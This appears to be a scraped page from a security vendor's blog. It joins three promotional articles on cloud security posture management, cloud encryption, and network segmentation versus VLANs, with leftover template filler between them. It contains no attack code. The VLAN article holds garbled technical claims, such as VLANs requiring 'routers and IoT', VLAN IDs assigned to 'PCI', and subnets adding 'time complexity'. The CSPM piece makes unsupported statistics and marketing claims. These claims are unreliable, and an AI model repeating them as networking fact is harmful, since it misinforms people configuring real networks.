Duis mattis velit sit leo diam. Tags Share this article 11/24/22 Published Cloud-native organizations need an efficient and automated way to identify the security risks across their cloud infrastructure. Sergei Shevchenko, Prevasio’s Co-Founder & CTO breaks down the essence of a CSPM and explains how CSPM platforms enable organizations to improve their cloud security posture and prevent future attacks on their cloud workloads and applications. In 2019, Gartner recommended that enterprise security and risk management leaders should invest in CSPM tools to “proactively and reactively identify and remediate these risks”. By “these”, Gartner meant the risks of successful cyberattacks and data breaches due to “misconfiguration, mismanagement, and mistakes” in the cloud. So how can you detect these intruders now and prevent them from entering your cloud environment in future? Cloud Security Posture Management is one highly effective way but is often misunderstood. Cloud Security: A real-world analogy There are many solid reasons for organizations to move to the cloud. Migrating from a legacy, on-premises infrastructure to a cloud-native infrastructure can lower IT costs and help make teams more agile. Moreover, cloud environments are more flexible and scalable than on-prem environments, which helps to enhance business resilience and prepares the organization for long-term opportunities and challenges. That said, if your production environment is in the cloud, it is also prone to misconfiguration errors, which opens the firm to all kinds of security threats and risks. Think of this environment as a building whose physical security is your chief concern. If there are gaps in this security, for example, a window that doesn’t close all the way or a lock that doesn’t work properly, you will try to fix them on priority in order to prevent unauthorized or malicious actors from accessing the building. But since this building is in the cloud, many older security mechanisms will not work for you. Thus, simply covering a hypothetical window or installing an additional hypothetical lock cannot guarantee that an intruder won’t ever enter your cloud environment. This intruder, who may be a competitor, enemy spy agency, hacktivist, or anyone with nefarious intentions, may try to access your business-critical services or sensitive data. They may also try to persist inside your environment for weeks or months in order to maintain access to your cloud systems or applications. Old-fashioned security measures cannot keep these bad guys out. They also cannot prevent malicious outsiders or worse, insiders from cryptojacking your cloud resources and causing performance problems in your production environment. What a CSPM is The main purpose of a CSPM is to help organizations minimize risk by providing cloud security automation, ensuring multi-cloud environments remain secure as they grow in scale and complexity. But, as organizations reach scale and add more complexity to their multi- cloud cloud environment, how can CSPMs help companies minimize such risks and better protect their cloud environments? Think of a CSPM as a building inspector who visits the building regularly (say, every day, or several times a day) to inspect its doors, windows, and locks. He may also identify weaknesses in these elements and produce a report detailing the gaps. The best, most experienced inspectors will also provide recommendations on how you can resolve these security issues in the fastest possible time. Similar to the role of a building inspector, CSPM provides organizations with the tools they need to secure your multi-cloud environment efficiently in a way that scales more readily than manual processes as your cloud deployments grow. Here are some CSPM key benefits: Efficient early detection: A CSPM tool allows you to automatically and continuously monitor your cloud environment. It will scan your cloud production environment to detect misconfiguration errors, raise alerts, and even predict where these errors may appear next. Responsive risk remediation: With a CSPM in your cloud security stack, you can also automatically remediate security risks and hidden threats, thus shortening remediation timelines and protecting your cloud environment from threat actors. Consistent compliance monitoring: CSPMs also support automated compliance monitoring, meaning they continuously review your environment for adherence to compliance policies. If they detect drift (non-compliance), appropriate corrective actions will be initiated automatically. What a CSPM is not Using the inspector analogy, it’s important to keep in mind that a CSPM can only act as an observer, not a doer. Thus, it will only assess the building’s security environment and call out its weakness. It won’t actually make any changes himself, say, by doing intrusive testing. Even so, a CSPM can help you prevent 80% of misconfiguration-related intrusions into your cloud environment. What about the remaining 20%? For this, you need a CSPM that offers something container scanning. Why you need an agentless CSPM across your multi-cloud environment If your network is spread over a multi-cloud environment, an agentless CSPM solution should be your optimal solution. Here are three main reasons in support of this claim: 1. Closing misconfiguration gaps: It is especially applicable if you’re looking to eliminate misconfigurations across all your cloud accounts, services, and assets. 2. Ensuring continuous compliance: It also detects compliance problems related to three important standards: HIPAA, PCI DSS, and CIS. All three are strict standards with very specific requirements for security and data privacy. In addition, it can detect compliance drift from the perspectives of all three standards, thus giving you the peace of mind that your multi-cloud environment remains consistently compliant. 3. Comprehensive container scanning: An agentless CSPM can scan container environments to uncover hidden backdoors. Through dynamic behavior analyses, it can detect new threats and supply chain attack risks in cloud containers. It also performs container security static analyses to detect vulnerabilities and malware, thus providing a deep cloud scan – that too in just a few minutes. Why Prevasio is your ultimate agentless CSPM solution Multipurpose: Prevasio combines the power of a traditional CSPM with regular vulnerability assessments and anti-malware scans for your cloud environment and containers. It also provides a prioritized risk list according to CIS benchmarks, so you can focus on the most critical risks and act quickly to adequately protect your most valuable cloud assets. User friendly: Prevasio’s CSPM is easy to use and easier still to set up. You can connect your AWS account to Prevasio in just 7 mouse clicks and 30 seconds. Then start scanning your cloud environment immediately to uncover misconfigurations, vulnerabilities, or malware. Built for scale: Prevasio’s CSPM is the only solution that can scan cloud containers and provide more comprehensive cloud security configuration management with vulnerability and malware scans.

A data breach can be devastating, leading to financial losses, legal headaches, and irreparable damage to your reputation. Cloud encryption is your key to protecting your valuable data and ensuring peace of mind in the cloud. In this article, we'll explore cloud encryption and how AlgoSec can help you implement it effectively. We'll cover the basics of encryption, its benefits, the challenges you might face, and best practices to ensure your data stays safe. What Is Cloud Encryption? Cloud encryption is like creating a secret code for your data. It scrambles your information so that only authorized people with the key can read it. This process ensures that even if someone gains unauthorized access to your data, they won't be able to understand or use it. Cloud encryption is essential for protecting sensitive information like customer data, financial records, and intellectual property. It helps organizations meet compliance requirements, maintain data privacy, and safeguard their reputation. Encryption in Action: Protecting Data at Rest and in Transit Cloud encryption can be used to protect data in two states: Data at Rest: This refers to data that is stored in the cloud, such as in databases or storage buckets. Encryption ensures that even if someone gains access to the storage, they can't read the data without the encryption key. Data in Transit: This refers to data that is moving between locations, such as between your computer and a cloud server. Encryption protects the data while it travels over the internet, preventing eavesdropping and unauthorized access. How does it work? Cloud encryption uses algorithms to transform your data into an unreadable format. Think of it like this: Symmetric encryption: You and the recipient have the same key to lock (encrypt) and unlock (decrypt) the data. It's like using the same key for your front and back door. Asymmetric encryption: There are two keys: a public key to lock the data and a private key to unlock it. It's like having a mailbox with a slot for anyone to drop mail in (public key), but only you have the key to open the mailbox (private key). Why Encrypt Your Cloud Data? Cloud encryption offers a wide range of benefits: Compliance: Avoid costly fines and legal battles by meeting compliance requirements like GDPR, HIPAA, and PCI DSS. Data Protection: Safeguard your sensitive data, whether it's financial transactions, customer information, or intellectual property. Control and Ownership: Maintain control over your data and who can access it. Insider Threat Protection: Reduce the risk of data breaches caused by malicious or negligent employees. Multi-Tenancy Security: Enhance data security and isolation in shared cloud environments. Cloud Encryption Challenges (and How AlgoSec Helps) While cloud encryption is essential, it can be complex to manage. Here are some common challenges: Key Management: Securely managing encryption keys is crucial. Losing or mismanaging keys can lead to data loss. AlgoSec Solution: AlgoSec provides a centralized key management system to simplify and secure your encryption keys. Compliance: Meeting various regional and industry-specific regulations can be challenging. AlgoSec Solution: AlgoSec helps you navigate compliance requirements and implement appropriate encryption controls. Shared Responsibility: Understanding the shared responsibility model and your role in managing encryption can be complex. AlgoSec Solution: AlgoSec provides clear guidance and tools to help you fulfill your security responsibilities. Cloud Encryption Best Practices Encrypt Everything: Encrypt data both at rest and in transit. Choose Strong Algorithms: Use strong encryption algorithms like AES-256. Manage Keys Securely: Use a key management system (KMS) like the one provided by AlgoSec to automate and secure key management. Control Access: Implement strong access controls and identity management systems. Stay Compliant: Adhere to industry standards and regulations. Monitor and Audit: Regularly monitor your encryption implementation and conduct audits to ensure ongoing effectiveness. Conclusion Protecting your data in the cloud is non-negotiable. Cloud encryption is a fundamental security measure that every organization should implement. By understanding the benefits, challenges, and best practices of cloud encryption, you can make informed decisions to safeguard your sensitive information.

Network Security Policy Management Network segmentation vs. VLAN explained Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/9/23 Published Safeguarding the network architecture is the need of the hour. According to a study, the average cost of a data breach is at an all-time high of $4.35 million. And this figure will only increase with governments and regulators becoming ever stricter on data breaches. The go-to method IT administrators adopt to safeguard their networks is network segmentation. By segmenting a larger network into smaller chunks, it becomes much more manageable to secure the entire network. But network segmentation is a broad concept and doesn’t refer to a single procedure. In fact, there are several segmentation processes — one of them being VLAN. Instead of simplifying, this adds to the complexity. In this article, we will explain the core difference between network segmentation and VLAN and when you should opt for a particular one over the other. What is network segmentation? Let’s start with the definitions of network segmentation and VLAN. By definition, network segmentation is the practice of compartmentalizing a network according to firewall rules . In other words, it’s about dividing a computer network into subnetworks. The subnetworks, at the IP level, are known as subnets. Each of the subnets then works independently and in isolation. Think of how a nation is split into various states and provinces for better management at the local level. Running an entire nation at the federal level is too much work. In addition to subnetting, there are other segmentation options like firewall segmentation and SDN (Software Defined Network) segmentation. But for this article’s sake, we will focus on subnets since those are the most common. What is VLAN? VLAN or Virtual LAN (Virtual Local Area Network) is also a type of network segmentation approach where the main physical network is divided into multiple smaller virtual networks. The division is done logically or virtually, not requiring buying additional physical resources. The same resource is divided using computer logic. There are several benefits to dividing the parts of the network, either using VLAN segmentation or subnet techniques. Some of them are: Broadcast domain isolation Both subnets and VLAN isolate broadcast domains. This way, broadcasting network traffic is contained in a single segment instead of being exposed to the entire network. This reduces the chance of network congestion during peak hours and unnecessary server overload, thereby maximizing efficiency. Enhanced security The isolation by subnets or VLAN enhances the IT network’s security policies. This is achieved through various factors that are at play. But primarily, the creation of subnetworks makes the flat network more secure. With multiple subnetworks, you can regulate the security parameters. Thus, those subnets containing critical data (like that of healthcare) can have enhanced cybersecurity measures more than others, making them harder to crack. So, from a security perspective, both subnets and VLAN are a must. Better network management With digitization and IT modernization, the IT infrastructure is growing. Concurrently, it’s getting harder to manage them. Microsegmentation is one way of managing the ever-growing infrastructure. By segmenting, you can deploy teams to each segment, thereby strengthening their management and accountability. With the implementation of SDN, you can even configure and automate the management of some of the subnetworks. Flexibility in scalability Many network administrators face network performance and scalability issues expanding resources. The issues are a mix of technical and economical. Network segmentation offers a solution to such issues. By segmenting the entire data center network, you can choose which segments to expand and control the resources granted to each segment. This also makes scalability more economical. While both offer scalability opportunities, VLAN offers superior functionality than subnets. Reduced scope of compliance Compliance is another area that IT execs need to work on. And network segmentation, either via subnets or VLAN, can help in this regard. By having subnets, you don’t have to audit your entire segmented network as required by regulators. Just audit the necessary subnets and submit the reports to the regulators for approval. This takes far less time and costs significantly less than auditing the entire network. Differences between network segmentation and VLAN By definition, network segmentation (subnetting) and VLAN sound pretty similar. After all, there’s a division of the main network into subnetworks or smaller networks. But besides the core similarities mentioned above, there are a few critical differences. Let’s dive into the differences between the two. The primary difference between the two subnets are layer 3 divisions, while VLANs are layer 2 divisions. As you may recall, networks are layer 1 (device), layer 2 (data link), layer 3 (IP, routers), and so on, up to layer 7 (application). TCP/IP is the newer framework with four layers only. So, when you divide a network at a data link, you need to adopt VLAN. With VLAN, several networks exist on the same physical network but may not be connected to the same fiber switch. In subnets, the division occurs at IP level. Thus, the independent subnets are assigned their IP addresses and communicate with others over layer 3. Besides this significant difference, there are other dissimilarities you should know. Here’s a table to help you understand: VLAN Subnet 1 Divides the network within the same physical network using logic. Divides the IP network into multiple IP networks 2 VLANs communicate with other devices within the same LAN The communication between the subnets is carried out over layer 3 3 It is configured at the switch side It is configured at IP level 4 VLAN divisions are software-based terminology since they’re divided logically. Subnets can be both hardware- of software-based 5 VLAN provides better network access and tend to be more stable Subnets offer limited control When to adopt a subnet? There are use cases when subnets are more suited, while there are cases when you’re better off with Virtual LANs. As per the definition, you need to adopt a subnet when dividing different networks at IP level. So, if you want to create multiple IP addresses for each partition, implement subnets. The subnets are essentially networks within a network with their own IP addresses. Thus, they divide the broadcast domain and improve speed and efficiency. Subnets are also the go-to segmentation method when you need to make the sub-networks available over layer 3 to the outside world. With appropriate access control lists, anyone with an internet connection would be able to access the subnets But subnetting is also used to prevent access to a particular subnet. For example, you may want to limit access to the company’s software codebase to anyone outside the development department. So, only network devices with approved IP addresses used by the developer network are approved to access the codebase. But there are two downsides to subnets you should know. The first one is increased time complexity. When dealing with a single network, three steps are in place to reach the Process (Source Host, Destination Network, and Process). In subnets, there’s an additional step involved (Source Host, Destination Network, Subnet, Process). This extra step increases time complexity, requiring more time for data transfer and connectivity. It also affects stability. Subnetting also increases the number of IP addresses required since each subnet requires its own IP address. This can become hard to manage over time. When to adopt VLAN? Virtual LANs are internal networks within the same physical network. They interact with one another, not with other devices on the same network or outside the world. Think of VLAN as a private wireless network at home. Your neighbors don’t have access to it, but everyone in your home has. If that sounds like your desired result, you should adopt VLAN. There are three types of VLANs (basic, extended, and tagged). In basic VLAN, you assign IDs to each switch port or PCI . Once assigned, you can’t change them. Extended VLAN has more functionalities like priority-based routing. Lastly, tagged VLAN enables you to create multiple VLANs with IEEE 802.1Q. The main advantages of different VLANs over subnet are speed and stability. Since endpoints do not have to resolve IP addresses every time, they tend to be faster. But there’s a significant disadvantage to VLANs: It’s easier to breach multiple partitions if there’s a malicious injection. Without proper network security controls, it is easier to exploit vulnerabilities using malware and ransomware , putting your entire network at risk. Having ACLs (access control lists) can help in such situations. Furthermore, there are issues arising out of physical store requirements. Connecting two segments in VLAN requires you to use routers and IoT. Routers are physical devices that take up space. The more segments you create, the more routers you need to use. Over time, management can become an issue. The bottom line Both subnets and VLANs are network segmentation approaches that improve security and workload management. It’s not a given that you can’t have both. Some companies benefit from the implementation of VLAN and subnets simultaneously. But there are specific times when IT service providers prefer one over the other. Consider your requirements to select the approach that’s right for you.
